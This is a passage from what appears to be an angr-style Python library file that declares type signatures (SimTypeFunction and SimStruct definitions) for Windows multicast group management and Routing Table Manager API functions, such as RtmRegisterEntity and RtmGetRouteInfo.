"dwReserved1": SimTypeInt(signed=False, label="UInt32")}, name="MIB_IPMCAST_OIF_XP", pack=False, align=None), offset=0)}, name="MIB_IPMCAST_MFE", pack=False, align=None), offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0), SimTypePointer(SimTypeChar(label="Byte"), offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0), SimTypeInt(signed=False, label="UInt32")], SimTypeInt(signed=False, label="UInt32"), arg_names=["pimmStart", "pdwBufferSize", "pbBuffer", "pdwNumEntries", "dwFlags"]), # 'MgmGroupEnumerationStart': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypeInt(signed=False, label="MGM_ENUM_TYPES"), SimTypePointer(SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hProtocol", "metEnumType", "phEnumHandle"]), # 'MgmGroupEnumerationGetNext': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0), SimTypePointer(SimTypeChar(label="Byte"), offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hEnum", "pdwBufferSize", "pbBuffer", "pdwNumEntries"]), # 'MgmGroupEnumerationEnd': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hEnum"]), # 'RtmConvertNetAddressToIpv6AddressAndLength': SimTypeFunction([SimTypePointer(SimStruct({"AddressFamily": SimTypeShort(signed=False, label="UInt16"), "NumBits": SimTypeShort(signed=False, label="UInt16"), "AddrBits": SimTypeFixedSizeArray(SimTypeChar(label="Byte"), 16)}, name="RTM_NET_ADDRESS", pack=False, align=None), offset=0), SimTypePointer(SimStruct({"u": SimUnion({"Byte": SimTypeFixedSizeArray(SimTypeChar(label="Byte"), 16), "Word": SimTypeFixedSizeArray(SimTypeShort(signed=False, label="UInt16"), 8)}, name="<anon>", label="None")}, name="IN6_ADDR", pack=False, align=None), offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0), SimTypeInt(signed=False, label="UInt32")], SimTypeInt(signed=False, label="UInt32"), arg_names=["pNetAddress", "pAddress", "pLength", "dwAddressSize"]), # 'RtmConvertIpv6AddressAndLengthToNetAddress': SimTypeFunction([SimTypePointer(SimStruct({"AddressFamily": SimTypeShort(signed=False, label="UInt16"), "NumBits": SimTypeShort(signed=False, label="UInt16"), "AddrBits": SimTypeFixedSizeArray(SimTypeChar(label="Byte"), 16)}, name="RTM_NET_ADDRESS", pack=False, align=None), offset=0), SimStruct({"u": SimUnion({"Byte": SimTypeFixedSizeArray(SimTypeChar(label="Byte"), 16), "Word": SimTypeFixedSizeArray(SimTypeShort(signed=False, label="UInt16"), 8)}, name="<anon>", label="None")}, name="IN6_ADDR", pack=False, align=None), SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32")], SimTypeInt(signed=False, label="UInt32"), arg_names=["pNetAddress", "Address", "dwLength", "dwAddressSize"]), # 'RtmRegisterEntity': SimTypeFunction([SimTypePointer(SimStruct({"RtmInstanceId": SimTypeShort(signed=False, label="UInt16"), "AddressFamily": SimTypeShort(signed=False, label="UInt16"), "EntityId": SimStruct({"Anonymous": SimUnion({"Anonymous": SimStruct({"EntityProtocolId": SimTypeInt(signed=False, label="UInt32"), "EntityInstanceId": SimTypeInt(signed=False, label="UInt32")}, name="_Anonymous_e__Struct", pack=False, align=None), "EntityId": SimTypeLongLong(signed=False, label="UInt64")}, name="<anon>", label="None")}, name="RTM_ENTITY_ID", pack=False, align=None)}, name="RTM_ENTITY_INFO", pack=False, align=None), offset=0), SimTypePointer(SimStruct({"NumMethods": SimTypeInt(signed=False, label="UInt32"), "Methods": SimTypePointer(SimTypePointer(SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimStruct({"MethodType": SimTypeInt(signed=False, label="UInt32"), "InputSize": SimTypeInt(signed=False, label="UInt32"), "InputData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="RTM_ENTITY_METHOD_INPUT", pack=False, align=None), offset=0), SimTypePointer(SimStruct({"MethodType": SimTypeInt(signed=False, label="UInt32"), "MethodStatus": SimTypeInt(signed=False, label="UInt32"), "OutputSize": SimTypeInt(signed=False, label="UInt32"), "OutputData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="RTM_ENTITY_METHOD_OUTPUT", pack=False, align=None), offset=0)], SimTypeBottom(label="Void"), arg_names=["CallerHandle", "CalleeHandle", "Input", "Output"]), offset=0), offset=0)}, name="RTM_ENTITY_EXPORT_METHODS", pack=False, align=None), offset=0), SimTypePointer(SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypeInt(signed=False, label="RTM_EVENT_TYPE"), SimTypePointer(SimTypeBottom(label="Void"), offset=0), SimTypePointer(SimTypeBottom(label="Void"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["RtmRegHandle", "EventType", "Context1", "Context2"]), offset=0), SimTypeInt(signed=True, label="Int32"), SimTypePointer(SimStruct({"MaxNextHopsInRoute": SimTypeInt(signed=False, label="UInt32"), "MaxHandlesInEnum": SimTypeInt(signed=False, label="UInt32"), "ViewsSupported": SimTypeInt(signed=False, label="UInt32"), "NumberOfViews": SimTypeInt(signed=False, label="UInt32")}, name="RTM_REGN_PROFILE", pack=False, align=None), offset=0), SimTypePointer(SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["RtmEntityInfo", "ExportMethods", "EventCallback", "ReserveOpaquePointer", "RtmRegProfile", "RtmRegHandle"]), # 'RtmDeregisterEntity': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["RtmRegHandle"]), # 'RtmGetRegisteredEntities': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0), SimTypePointer(SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), offset=0), SimTypePointer(SimStruct({"RtmInstanceId": SimTypeShort(signed=False, label="UInt16"), "AddressFamily": SimTypeShort(signed=False, label="UInt16"), "EntityId": SimStruct({"Anonymous": SimUnion({"Anonymous": SimStruct({"EntityProtocolId": SimTypeInt(signed=False, label="UInt32"), "EntityInstanceId": SimTypeInt(signed=False, label="UInt32")}, name="_Anonymous_e__Struct", pack=False, align=None), "EntityId": SimTypeLongLong(signed=False, label="UInt64")}, name="<anon>", label="None")}, name="RTM_ENTITY_ID", pack=False, align=None)}, name="RTM_ENTITY_INFO", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["RtmRegHandle", "NumEntities", "EntityHandles", "EntityInfos"]), # 'RtmReleaseEntities': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["RtmRegHandle", "NumEntities", "EntityHandles"]), # 'RtmLockDestination': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypeInt(signed=True, label="Int32"), SimTypeInt(signed=True, label="Int32")], SimTypeInt(signed=False, label="UInt32"), arg_names=["RtmRegHandle", "DestHandle", "Exclusive", "LockDest"]), # 'RtmGetOpaqueInformationPointer': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypePointer(SimTypeBottom(label="Void"), offset=0), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["RtmRegHandle", "DestHandle", "OpaqueInfoPointer"]), # 'RtmGetEntityMethods': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0), SimTypePointer(SimTypePointer(SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimStruct({"MethodType": SimTypeInt(signed=False, label="UInt32"), "InputSize": SimTypeInt(signed=False, label="UInt32"), "InputData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="RTM_ENTITY_METHOD_INPUT", pack=False, align=None), offset=0), SimTypePointer(SimStruct({"MethodType": SimTypeInt(signed=False, label="UInt32"), "MethodStatus": SimTypeInt(signed=False, label="UInt32"), "OutputSize": SimTypeInt(signed=False, label="UInt32"), "OutputData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="RTM_ENTITY_METHOD_OUTPUT", pack=False, align=None), offset=0)], SimTypeBottom(label="Void"), arg_names=["CallerHandle", "CalleeHandle", "Input", "Output"]), offset=0), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["RtmRegHandle", "EntityHandle", "NumMethods", "ExptMethods"]), # 'RtmInvokeMethod': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimStruct({"MethodType": SimTypeInt(signed=False, label="UInt32"), "InputSize": SimTypeInt(signed=False, label="UInt32"), "InputData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="RTM_ENTITY_METHOD_INPUT", pack=False, align=None), offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0), SimTypePointer(SimStruct({"MethodType": SimTypeInt(signed=False, label="UInt32"), "MethodStatus": SimTypeInt(signed=False, label="UInt32"), "OutputSize": SimTypeInt(signed=False, label="UInt32"), "OutputData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="RTM_ENTITY_METHOD_OUTPUT", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["RtmRegHandle", "EntityHandle", "Input", "OutputSize", "Output"]), # 'RtmBlockMethods': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypeChar(label="Byte"), SimTypeInt(signed=False, label="UInt32")], SimTypeInt(signed=False, label="UInt32"), arg_names=["RtmRegHandle", "TargetHandle", "TargetType", "BlockingFlag"]), # 'RtmGetEntityInfo': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimStruct({"RtmInstanceId": SimTypeShort(signed=False, label="UInt16"), "AddressFamily": SimTypeShort(signed=False, label="UInt16"), "EntityId": SimStruct({"Anonymous": SimUnion({"Anonymous": SimStruct({"EntityProtocolId": SimTypeInt(signed=False, label="UInt32"), "EntityInstanceId": SimTypeInt(signed=False, label="UInt32")}, name="_Anonymous_e__Struct", pack=False, align=None), "EntityId": SimTypeLongLong(signed=False, label="UInt64")}, name="<anon>", label="None")}, name="RTM_ENTITY_ID", pack=False, align=None)}, name="RTM_ENTITY_INFO", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["RtmRegHandle", "EntityHandle", "EntityInfo"]), # 'RtmGetDestInfo': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimStruct({"DestHandle": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "DestAddress": SimStruct({"AddressFamily": SimTypeShort(signed=False, label="UInt16"), "NumBits": SimTypeShort(signed=False, label="UInt16"), "AddrBits": SimTypeFixedSizeArray(SimTypeChar(label="Byte"), 16)}, name="RTM_NET_ADDRESS", pack=False, align=None), "LastChanged": SimStruct({"dwLowDateTime": SimTypeInt(signed=False, label="UInt32"), "dwHighDateTime": SimTypeInt(signed=False, label="UInt32")}, name="FILETIME", pack=False, align=None), "BelongsToViews": SimTypeInt(signed=False, label="UInt32"), "NumberOfViews": SimTypeInt(signed=False, label="UInt32"), "ViewInfo": SimTypePointer(SimStruct({"ViewId": SimTypeInt(signed=True, label="Int32"), "NumRoutes": SimTypeInt(signed=False, label="UInt32"), "Route": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "Owner": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "DestFlags": SimTypeInt(signed=False, label="UInt32"), "HoldRoute": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0)}, name="_Anonymous_e__Struct", pack=False, align=None), offset=0)}, name="RTM_DEST_INFO", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["RtmRegHandle", "DestHandle", "ProtocolId", "TargetViews", "DestInfo"]), # 'RtmGetRouteInfo': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimStruct({"DestHandle": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "RouteOwner": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "Neighbour": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "State": SimTypeChar(label="Byte"), "Flags1": SimTypeChar(label="Byte"), "Flags": SimTypeShort(signed=False, label="UInt16"), "PrefInfo": SimStruct({"Metric": SimTypeInt(signed=False, label="UInt32"), "Preference": SimTypeInt(signed=False, label="UInt32")}, name="RTM_PREF_INFO", pack=False, align=None), "BelongsToViews": SimTypeInt(signed=False, label="UInt32"), "EntitySpecificInfo": SimTypePointer(SimTypeBottom(label="Void"), offset=0), "NextHopsList": SimStruct({"NumNextHops": SimTypeShort(signed=False, label="UInt16"), "NextHops": SimTypePointer(SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), offset=0)}, name="RTM_NEXTHOP_LIST", pack=False, align=None)}, name="RTM_ROUTE_INFO", pack=False, align=None), offset=0), SimTypePointer(SimStruct({"AddressFamily": SimTypeShort(signed=False, label="UInt16"), "NumBits": SimTypeShort(signed=False, label="UInt16"), "AddrBits": SimTypeFixedSizeArray(SimTypeChar(label="Byte"), 16)}, name="RTM_NET_ADDRESS", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["RtmRegHandle", "RouteHandle", "RouteInfo", "DestAddress"]), # 'RtmGetNextHopInfo': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimStruct({"NextHopAddress": SimStruct({"AddressFamily": SimTypeShort(signed=False, label="UInt16"), "NumBits": SimTypeShort(signed=False, label="UInt16"), "AddrBits": SimTypeFixedSizeArray(SimTypeChar(label="Byte"), 16)}, name="RTM_NET_ADDRESS", pack=False, align=None), "NextHopOwner": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "InterfaceIndex": SimTypeInt(signed=False, label="UInt32"), "State": SimTypeShort(signed=False, label="UInt16"), "Flags": SimTypeShort(signed=False, label="UInt16"), "EntitySpecificInfo": SimTypePointer(SimTypeBottom(label="Void"), offset=0), "RemoteNextHop": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0)}, name="RTM_NEXTHOP_INFO", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["RtmRegHandle", "NextHopHandle", "NextHopInfo"]), # 'RtmReleaseEntityInfo': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimStruct({"RtmInstanceId": SimTypeShort(signed=False, label="UInt16"), "AddressFamily": SimTypeShort(signed=False, label="UInt16"), "EntityId": SimStruct({"Anonymous": SimUnion({"Anonymous": SimStruct({"EntityProtocolId": SimTypeInt(signed=False, label="UInt32"), "EntityInstanceId": SimTypeInt(signed=False, label="UInt32")}, name="_Anonymous_e__Struct", pack=False, align=None), "EntityId": SimTypeLongLong(signed=False, label="UInt64")}, name="<anon>", label="None")}, name="RTM_ENTITY_ID", pack=False, align=None)}, name="RTM_ENTITY_INFO", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["RtmRegHandle", "EntityInfo"]), # 'RtmReleaseDestInfo': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimStruct({"DestHandle": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "DestAddress": SimStruct({"AddressFamily": SimTypeShort(signed=False, label="UInt16"), "NumBits": SimTypeShort(signed=False, label="UInt16"), "AddrBits": SimTypeFixedSizeArray(SimTypeChar(label="Byte"), 16)}, name="RTM_NET_ADDRESS", pack=False, align=None), "LastChanged": SimStruct({"dwLowDateTime": SimTypeInt(signed=False, label="UInt32"), "dwHighDateTime": SimTypeInt(signed=False, label="UInt32")}, name="FILETIME", pack=False, align=None), "BelongsToViews": SimTypeInt(signed=False, label="UInt32"), "NumberOfViews": SimTypeInt(signed=False, label="UInt32"), "ViewInfo": SimTypePointer(SimStruct({"ViewId": SimTypeInt(signed=True, label="Int32"), "NumRoutes": SimTypeInt(signed=False, label="UInt32"), "Route": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "Owner": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "DestFlags": SimTypeInt(signed=False, label="UInt32"), "HoldRoute": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0)}, name="_Anonymous_e__Struct", pack=False, align=None), offset=0)}, name="RTM_DEST_INFO", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["RtmRegHandle", "DestInfo"]), # 'RtmReleaseRouteInfo': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimStruct({"DestHandle": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "RouteOwner": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "Neighbour": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "State": SimTypeChar(label="Byte"), "Flags1": SimTypeChar(label="Byte"), "Flags": SimTypeShort(signed=False, label="UInt16"), "PrefInfo": SimStruct({"Metric": SimTypeInt(signed=False, label="UInt32"), "Preference": SimTypeInt(signed=False, label="UInt32")}, name="RTM_PREF_INFO", pack=False, align=None), "BelongsToViews": SimTypeInt(signed=False, label="UInt32"), "EntitySpecificInfo": SimTypePointer(SimTypeBottom(label="Void"), offset=0), "NextHopsList": SimStruct({"NumNextHops": SimTypeShort(signed=False, label="UInt16"), "NextHops": SimTypePointer(SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), offset=0)}, name="RTM_NEXTHOP_LIST", pack=False, align=None)}, name="RTM_ROUTE_INFO", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["RtmRegHandle", "RouteInfo"]), # 'RtmReleaseNextHopInfo': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimStruct({"NextHopAddress": SimStruct({"AddressFamily": SimTypeShort(signed=False, label="UInt16"), "NumBits": SimTypeShort(signed=False, label="UInt16"), "AddrBits": SimTypeFixedSizeArray(SimTypeChar(label="Byte"), 16)}, name="RTM_NET_ADDRESS", pack=False, align=None), "NextHopOwner": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "InterfaceIndex": SimTypeInt(signed=False, label="UInt32"), "State": SimTypeShort(signed=False, label="UInt16"), "Flags": SimTypeShort(signed=False, label="UInt16"), "EntitySpecificInfo": SimTypePointer(SimTypeBottom(label="Void"), offset=0), "RemoteNextHop": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0)}, name="RTM_NEXTHOP_INFO", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["RtmRegHandle", "NextHopInfo"]), # 'RtmAddRouteToDest': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), offset=0), SimTypePointer(SimStruct({"AddressFamily": SimTypeShort(signed=False, label="UInt16"), "NumBits": SimTypeShort(signed=False, label="UInt16"), "AddrBits": SimTypeFixedSizeArray(SimTypeChar(label="Byte"), 16)}, name="RTM_NET_ADDRESS", pack=False, align=None), offset=0), SimTypePointer(SimStruct({"DestHandle": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "RouteOwner": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "Neighbour": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "State": SimTypeChar(label="Byte"), "Flags1": SimTypeChar(label="Byte"), "Flags": SimTypeShort(signed=False, label="UInt16"), "PrefInfo": SimStruct({"Metric": SimTypeInt(signed=False, label="UInt32"), "Preference": SimTypeInt(signed=False, label="UInt32")}, name="RTM_PREF_INFO", pack=False, align=None), "BelongsToViews": SimTypeInt(signed=False, label="UInt32"), "EntitySpecificInfo": SimTypePointer(SimTypeBottom(label="Void"), offset=0), "NextHopsList": SimStruct({"NumNextHops": SimTypeShort(signed=False, label="UInt16"), "NextHops": SimTypePointer(SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), offset=0)}, name="RTM_NEXTHOP_LIST", pack=False, align=None)}, name="RTM_ROUTE_INFO", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["RtmRegHandle", "RouteHandle", "DestAddress", "RouteInfo", "TimeToLive", "RouteListHandle", "NotifyType", "NotifyHandle", "ChangeFlags"]), # 'RtmDeleteRouteToDest': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["RtmRegHandle", "RouteHandle", "ChangeFlags"]), # 'RtmHoldDestination': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32")], SimTypeInt(signed=False, label="UInt32"), arg_names=["RtmRegHandle", "DestHandle", "TargetViews", "HoldTime"]), # 'RtmGetRoutePointer': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypePointer(SimStruct({"DestHandle": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "RouteOwner": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "Neighbour": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "State": SimTypeChar(label="Byte"), "Flags1": SimTypeChar(label="Byte"), "Flags": SimTypeShort(signed=False, label="UInt16"), "PrefInfo": SimStruct({"Metric": SimTypeInt(signed=False, label="UInt32"), "Preference": SimTypeInt(signed=False, label="UInt32")}, name="RTM_PREF_INFO", pack=False, align=None), "BelongsToViews": SimTypeInt(signed=False, label="UInt32"), "EntitySpecificInfo": SimTypePointer(SimTypeBottom(label="Void"), offset=0), "NextHopsList": SimStruct({"NumNextHops": SimTypeShort(signed=False, label="UInt16"), "NextHops": SimTypePointer(SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), offset=0)}, name="RTM_NEXTHOP_LIST", pack=False, align=None)}, name="RTM_ROUTE_INFO", pack=False, align=None), offset=0), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["RtmRegHandle", "RouteHandle", "RoutePointer"]), # 'RtmLockRoute': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypeInt(signed=True, label="Int32"), SimTypeInt(signed=True, label="Int32"), SimTypePointer(SimTypePointer(SimStruct({"DestHandle": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "RouteOwner": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "Neighbour": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "State": SimTypeChar(label="Byte"), "Flags1": SimTypeChar(label="Byte"), "Flags": SimTypeShort(signed=False, label="UInt16"), "PrefInfo": SimStruct({"Metric": SimTypeInt(signed=False, label="UInt32"), "Preference": SimTypeInt(signed=False, label="UInt32")}, name="RTM_PREF_INFO", pack=False, align=None), "BelongsToViews": SimTypeInt(signed=False, label="UInt32"), "EntitySpecificInfo": SimTypePointer(SimTypeBottom(label="Void"), offset=0), "NextHopsList": SimStruct({"NumNextHops": SimTypeShort(signed=False, label="UInt16"), "NextHops": SimTypePointer(SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), offset=0)}, name="RTM_NEXTHOP_LIST", pack=False, align=None)}, name="RTM_ROUTE_INFO", pack=False, align=None), offset=0), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["RtmRegHandle", "RouteHandle", "Exclusive", "LockRoute", "RoutePointer"]), # 'RtmUpdateAndUnlockRoute': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["RtmRegHandle", "RouteHandle", "TimeToLive", "RouteListHandle", "NotifyType", "NotifyHandle", "ChangeFlags"]), # 'RtmGetExactMatchDestination': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimStruct({"AddressFamily": SimTypeShort(signed=False, label="UInt16"), "NumBits": SimTypeShort(signed=False, label="UInt16"), "AddrBits": SimTypeFixedSizeArray(SimTypeChar(label="Byte"), 16)}, name="RTM_NET_ADDRESS", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimStruct({"DestHandle": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "DestAddress": SimStruct({"AddressFamily": SimTypeShort(signed=False, label="UInt16"), "NumBits": SimTypeShort(signed=False, label="UInt16"), "AddrBits": SimTypeFixedSizeArray(SimTypeChar(label="Byte"), 16)}, name="RTM_NET_ADDRESS", pack=False, align=None), "LastChanged": SimStruct({"dwLowDateTime": SimTypeInt(signed=False, label="UInt32"), "dwHighDateTime": SimTypeInt(signed=False, label="UInt32")}, name="FILETIME", pack=False, align=None), "BelongsToViews": SimTypeInt(signed=False, label="UInt32"), "NumberOfViews": SimTypeInt(signed=False, label="UInt32"), "ViewInfo": SimTypePointer(SimStruct({"ViewId": SimTypeInt(signed=True, label="Int32"), "NumRoutes": SimTypeInt(signed=False, label="UInt32"), "Route": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "Owner": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "DestFlags": SimTypeInt(signed=False, label="UInt32"), "HoldRoute": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0)}, name="_Anonymous_e__Struct", pack=False, align=None), offset=0)}, name="RTM_DEST_INFO", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["RtmRegHandle", "DestAddress", 